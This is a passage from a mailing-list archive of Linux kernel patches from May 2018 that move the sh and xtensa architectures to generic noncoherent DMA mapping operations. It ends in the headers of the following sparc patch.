In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24184 gmane.linux.kernel.cross-arch:44028 gmane.linux.ports.parisc:28611 gmane.linux.ports.sh.devel:57017 gmane.linux.ports.hexagon:1714 gmane.linux.kernel:2764219 gmane.linux.ports.alpha:5039 gmane.linux.ports.sparc:27866 gmane.linux.kernel.arc:3880 gmane.linux.ports.arm.kernel:649168
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24184>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/sh/Kconfig                   |  3 +-
 arch/sh/include/asm/Kbuild        |  1 +
 arch/sh/include/asm/dma-mapping.h | 26 -----------
 arch/sh/kernel/Makefile           |  2 +-
 arch/sh/kernel/dma-coherent.c     | 20 ++++----
 arch/sh/kernel/dma-nommu.c        | 78 -------------------------------
 6 files changed, 13 insertions(+), 117 deletions(-)
 delete mode 100644 arch/sh/include/asm/dma-mapping.h
 delete mode 100644 arch/sh/kernel/dma-nommu.c

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index d0b095323d62..9809e0604af3 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -49,7 +49,6 @@ config SUPERH
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_NMI
-	select NEED_DMA_MAP_STATE
 	select NEED_SG_DMA_LENGTH
 
 	help
@@ -162,6 +161,8 @@ config DMA_COHERENT
 
 config DMA_NONCOHERENT
 	def_bool !DMA_COHERENT
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 
 config PGTABLE_LEVELS
 	default 3 if X2TLB
diff --git a/arch/sh/include/asm/Kbuild b/arch/sh/include/asm/Kbuild
index 1efcce74997b..50f7e878ea1b 100644
--- a/arch/sh/include/asm/Kbuild
+++ b/arch/sh/include/asm/Kbuild
@@ -1,6 +1,7 @@
 generic-y += current.h
 generic-y += delay.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += irq_regs.h
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
deleted file mode 100644
index 1ebc6a4eb1c5..000000000000
--- a/arch/sh/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef __ASM_SH_DMA_MAPPING_H
-#define __ASM_SH_DMA_MAPPING_H
-
-extern const struct dma_map_ops nommu_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-#ifdef CONFIG_DMA_NONCOHERENT
-	return &nommu_dma_ops;
-#else
-	return &dma_direct_ops;
-#endif
-}
-
-extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-					dma_addr_t *dma_addr, gfp_t flag,
-					unsigned long attrs);
-extern void dma_generic_free_coherent(struct device *dev, size_t size,
-				      void *vaddr, dma_addr_t dma_handle,
-				      unsigned long attrs);
-
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-	    enum dma_data_direction dir);
-
-#endif /* __ASM_SH_DMA_MAPPING_H */
diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index d5ddb64bfffe..59673f8a3379 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -45,7 +45,7 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o dma-coherent.o
+obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-coherent.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-coherent.c b/arch/sh/kernel/dma-coherent.c
index 4f41e5cd5207..11b8c4ac6adb 100644
--- a/arch/sh/kernel/dma-coherent.c
+++ b/arch/sh/kernel/dma-coherent.c
@@ -7,14 +7,13 @@
  */
 #include <linux/mm.h>
 #include <linux/init.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/module.h>
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_handle, gfp_t gfp,
-				 unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret, *ret_nocache;
 	int order = get_order(size);
@@ -44,9 +43,8 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 	return ret_nocache;
 }
 
-void dma_generic_free_coherent(struct device *dev, size_t size,
-			       void *vaddr, dma_addr_t dma_handle,
-			       unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order = get_order(size);
 	unsigned long pfn = (dma_handle >> PAGE_SHIFT) + dev->dma_pfn_offset;
@@ -58,12 +56,12 @@ void dma_generic_free_coherent(struct device *dev, size_t size,
 	iounmap(vaddr);
 }
 
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-		    enum dma_data_direction direction)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	void *addr = sh_cacheop_vaddr(vaddr);
+	void *addr = sh_cacheop_vaddr(phys_to_virt(paddr));
 
-	switch (direction) {
+	switch (dir) {
 	case DMA_FROM_DEVICE:		/* invalidate only */
 		__flush_invalidate_region(addr, size);
 		break;
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
deleted file mode 100644
index d8689b1cb743..000000000000
--- a/arch/sh/kernel/dma-nommu.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * DMA mapping support for platforms lacking IOMMUs.
- *
- * Copyright (C) 2009  Paul Mundt
- *
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- */
-#include <linux/dma-mapping.h>
-#include <linux/io.h>
-#include <asm/cacheflush.h>
-
-static dma_addr_t nommu_map_page(struct device *dev, struct page *page,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	dma_addr_t addr = page_to_phys(page) + offset
-		- PFN_PHYS(dev->dma_pfn_offset);
-
-	WARN_ON(size == 0);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		sh_sync_dma_for_device(page_address(page) + offset, size, dir);
-
-	return addr;
-}
-
-static int nommu_map_sg(struct device *dev, struct scatterlist *sg,
-			int nents, enum dma_data_direction dir,
-			unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	WARN_ON(nents == 0 || sg[0].length == 0);
-
-	for_each_sg(sg, s, nents, i) {
-		dma_addr_t offset = PFN_PHYS(dev->dma_pfn_offset);
-
-		BUG_ON(!sg_page(s));
-
-		if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-			sh_sync_dma_for_device(sg_virt(s), s->length, dir);
-
-		s->dma_address = sg_phys(s) - offset;
-		s->dma_length = s->length;
-	}
-
-	return nents;
-}
-
-static void nommu_sync_single_for_device(struct device *dev, dma_addr_t addr,
-			      size_t size, enum dma_data_direction dir)
-{
-	sh_sync_dma_for_device(phys_to_virt(addr), size, dir);
-}
-
-static void nommu_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			  int nelems, enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nelems, i)
-		sh_sync_dma_for_device(sg_virt(s), s->length, dir);
-}
-
-const struct dma_map_ops nommu_dma_ops = {
-	.alloc			= dma_generic_alloc_coherent,
-	.free			= dma_generic_free_coherent,
-	.map_page		= nommu_map_page,
-	.map_sg			= nommu_map_sg,
-	.sync_single_for_device	= nommu_sync_single_for_device,
-	.sync_sg_for_device	= nommu_sync_sg_for_device,
-};
-EXPORT_SYMBOL(nommu_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 18/20] xtensa: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:43 +0200
Lines: 277
Approved: news@gmane.org
Message-ID: <20180511075945.16548-19-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025681 9487 195.159.176.226 (11 May 2018 08:01:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:01:21 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 11 10:01:15 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fH2zK-0002M2-Kk
	for glki-iommu@m.gmane.org; Fri, 11 May 2018 10:01:15 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 71001CC4;
	Fri, 11 May 2018 08:03:25 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 85C0FCC0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:23 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 95A3EE7
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 11 May 2018 08:03:22 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=kJHgVcr47HpbxbzjAvu1/nLmLnASDqdfCO/jlhImyuI=;
	b=nw3GhCamGMxlt1B5UJd6u9N8t
	Cr1KRz7G7ak/M6ByCUDINwqLDtZ+Q5GXuGOh9IKX0hw9Acgw7phTPqkVzgkqFPxUQRimCj6ygjkED
	mfim4q0Dvqj4ibXsnTY9RNgcGg03JLFVYC4s4ceEsNehtPR6JgIsPUqqfh8H2RVYMFI6xztKQCMSA
	GnLEnj0eb+MnelgrtWU2xxelurPUQsHwDsNZ3FgfV0K1DxV7NYEgtvVZQh1KxqLTjsoFyappvMdbw
	HaA/6lhy/nqiZ9hmoqrnQ0svSRXqpmF+1aORObiydQV4RlwyyRyBIXytBQKy/qk2QGOxg0K+auRe0
	pGP1sbZLg==;
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH30v-0000g0-EL; Fri, 11 May 2018 08:03:04 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24185 gmane.linux.kernel.cross-arch:44029 gmane.linux.ports.parisc:28612 gmane.linux.ports.sh.devel:57018 gmane.linux.ports.hexagon:1715 gmane.linux.kernel:2764220 gmane.linux.ports.alpha:5040 gmane.linux.ports.sparc:27867 gmane.linux.kernel.arc:3881 gmane.linux.ports.arm.kernel:649169
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24185>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/xtensa/Kconfig                   |   3 +
 arch/xtensa/include/asm/Kbuild        |   1 +
 arch/xtensa/include/asm/dma-mapping.h |  26 ------
 arch/xtensa/kernel/pci-dma.c          | 130 +++-----------------------
 4 files changed, 19 insertions(+), 141 deletions(-)
 delete mode 100644 arch/xtensa/include/asm/dma-mapping.h

diff --git a/arch/xtensa/Kconfig b/arch/xtensa/Kconfig
index 17df332269b2..ef114648e954 100644
--- a/arch/xtensa/Kconfig
+++ b/arch/xtensa/Kconfig
@@ -5,11 +5,14 @@ config ZONE_DMA
 config XTENSA
 	def_bool y
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_WANT_FRAME_POINTERS
 	select ARCH_WANT_IPC_PARSE_VERSION
 	select BUILDTIME_EXTABLE_SORT
 	select CLONE_BACKWARDS
 	select COMMON_CLK
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select GENERIC_CLOCKEVENTS
 	select GENERIC_IRQ_SHOW
diff --git a/arch/xtensa/include/asm/Kbuild b/arch/xtensa/include/asm/Kbuild
index 436b20337168..a8d6cd3bee4b 100644
--- a/arch/xtensa/include/asm/Kbuild
+++ b/arch/xtensa/include/asm/Kbuild
@@ -2,6 +2,7 @@ generic-y += bug.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma-contiguous.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/xtensa/include/asm/dma-mapping.h b/arch/xtensa/include/asm/dma-mapping.h
deleted file mode 100644
index 44098800dad7..000000000000
--- a/arch/xtensa/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/*
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- *
- * Copyright (C) 2003 - 2005 Tensilica Inc.
- * Copyright (C) 2015 Cadence Design Systems Inc.
- */
-
-#ifndef _XTENSA_DMA_MAPPING_H
-#define _XTENSA_DMA_MAPPING_H
-
-#include <asm/cache.h>
-#include <asm/io.h>
-
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-
-extern const struct dma_map_ops xtensa_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &xtensa_dma_map_ops;
-}
-
-#endif	/* _XTENSA_DMA_MAPPING_H */
diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
index 392b4a80ebc2..a83d60e92908 100644
--- a/arch/xtensa/kernel/pci-dma.c
+++ b/arch/xtensa/kernel/pci-dma.c
@@ -16,26 +16,24 @@
  */
 
 #include <linux/dma-contiguous.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/dma-direct.h>
 #include <linux/gfp.h>
 #include <linux/highmem.h>
 #include <linux/mm.h>
-#include <linux/module.h>
-#include <linux/pci.h>
-#include <linux/string.h>
 #include <linux/types.h>
 #include <asm/cacheflush.h>
 #include <asm/io.h>
 
-static void do_cache_op(dma_addr_t dma_handle, size_t size,
+static void do_cache_op(phys_addr_t paddr, size_t size,
 			void (*fn)(unsigned long, unsigned long))
 {
-	unsigned long off = dma_handle & (PAGE_SIZE - 1);
-	unsigned long pfn = PFN_DOWN(dma_handle);
+	unsigned long off = paddr & (PAGE_SIZE - 1);
+	unsigned long pfn = PFN_DOWN(paddr);
 	struct page *page = pfn_to_page(pfn);
 
 	if (!PageHighMem(page))
-		fn((unsigned long)bus_to_virt(dma_handle), size);
+		fn((unsigned long)phys_to_virt(paddr), size);
 	else
 		while (size > 0) {
 			size_t sz = min_t(size_t, size, PAGE_SIZE - off);
@@ -49,14 +47,13 @@ static void do_cache_op(dma_addr_t dma_handle, size_t size,
 		}
 }
 
-static void xtensa_sync_single_for_cpu(struct device *dev,
-				       dma_addr_t dma_handle, size_t size,
-				       enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_FROM_DEVICE:
-		do_cache_op(dma_handle, size, __invalidate_dcache_range);
+		do_cache_op(paddr, size, __invalidate_dcache_range);
 		break;
 
 	case DMA_NONE:
@@ -68,15 +65,14 @@ static void xtensa_sync_single_for_cpu(struct device *dev,
 	}
 }
 
-static void xtensa_sync_single_for_device(struct device *dev,
-					  dma_addr_t dma_handle, size_t size,
-					  enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_TO_DEVICE:
 		if (XCHAL_DCACHE_IS_WRITEBACK)
-			do_cache_op(dma_handle, size, __flush_dcache_range);
+			do_cache_op(paddr, size, __flush_dcache_range);
 		break;
 
 	case DMA_NONE:
@@ -88,40 +84,13 @@ static void xtensa_sync_single_for_device(struct device *dev,
 	}
 }
 
-static void xtensa_sync_sg_for_cpu(struct device *dev,
-				   struct scatterlist *sg, int nents,
-				   enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_sync_single_for_cpu(dev, sg_dma_address(s),
-					   sg_dma_len(s), dir);
-	}
-}
-
-static void xtensa_sync_sg_for_device(struct device *dev,
-				      struct scatterlist *sg, int nents,
-				      enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_sync_single_for_device(dev, sg_dma_address(s),
-					      sg_dma_len(s), dir);
-	}
-}
-
 /*
  * Note: We assume that the full memory space is always mapped to 'kseg'
  *	 Otherwise we have to use page attributes (not implemented).
  */
 
-static void *xtensa_dma_alloc(struct device *dev, size_t size,
-			      dma_addr_t *handle, gfp_t flag,
-			      unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t flag, unsigned long attrs)
 {
 	unsigned long ret;
 	unsigned long uncached;
@@ -171,8 +140,8 @@ static void *xtensa_dma_alloc(struct device *dev, size_t size,
 	return (void *)uncached;
 }
 
-static void xtensa_dma_free(struct device *dev, size_t size, void *vaddr,
-			    dma_addr_t dma_handle, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	unsigned long addr = (unsigned long)vaddr;
@@ -192,72 +161,3 @@ static void xtensa_dma_free(struct device *dev, size_t size, void *vaddr,
 	if (!dma_release_from_contiguous(dev, page, count))
 		__free_pages(page, get_order(size));
 }
-
-static dma_addr_t xtensa_map_page(struct device *dev, struct page *page,
-				  unsigned long offset, size_t size,
-				  enum dma_data_direction dir,
-				  unsigned long attrs)
-{
-	dma_addr_t dma_handle = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		xtensa_sync_single_for_device(dev, dma_handle, size, dir);
-
-	return dma_handle;
-}
-
-static void xtensa_unmap_page(struct device *dev, dma_addr_t dma_handle,
-			      size_t size, enum dma_data_direction dir,
-			      unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		xtensa_sync_single_for_cpu(dev, dma_handle, size, dir);
-}
-
-static int xtensa_map_sg(struct device *dev, struct scatterlist *sg,
-			 int nents, enum dma_data_direction dir,
-			 unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = xtensa_map_page(dev, sg_page(s), s->offset,
-						 s->length, dir, attrs);
-	}
-	return nents;
-}
-
-static void xtensa_unmap_sg(struct device *dev,
-			    struct scatterlist *sg, int nents,
-			    enum dma_data_direction dir,
-			    unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_unmap_page(dev, sg_dma_address(s),
-				  sg_dma_len(s), dir, attrs);
-	}
-}
-
-int xtensa_dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-const struct dma_map_ops xtensa_dma_map_ops = {
-	.alloc = xtensa_dma_alloc,
-	.free = xtensa_dma_free,
-	.map_page = xtensa_map_page,
-	.unmap_page = xtensa_unmap_page,
-	.map_sg = xtensa_map_sg,
-	.unmap_sg = xtensa_unmap_sg,
-	.sync_single_for_cpu = xtensa_sync_single_for_cpu,
-	.sync_single_for_device = xtensa_sync_single_for_device,
-	.sync_sg_for_cpu = xtensa_sync_sg_for_cpu,
-	.sync_sg_for_device = xtensa_sync_sg_for_device,
-	.mapping_error = xtensa_dma_mapping_error,
-};
-EXPORT_SYMBOL(xtensa_dma_map_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 19/20] sparc: use generic dma_noncoherent_ops
Date: Fri, 11 May 2018 09:59:44 +0200
Lines: 242
Approved: news@gmane.org
Message-ID: <20180511075945.16548-20-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025689 10146 195.159.176.226 (11 May 2018 08:01:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 08:01:29 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
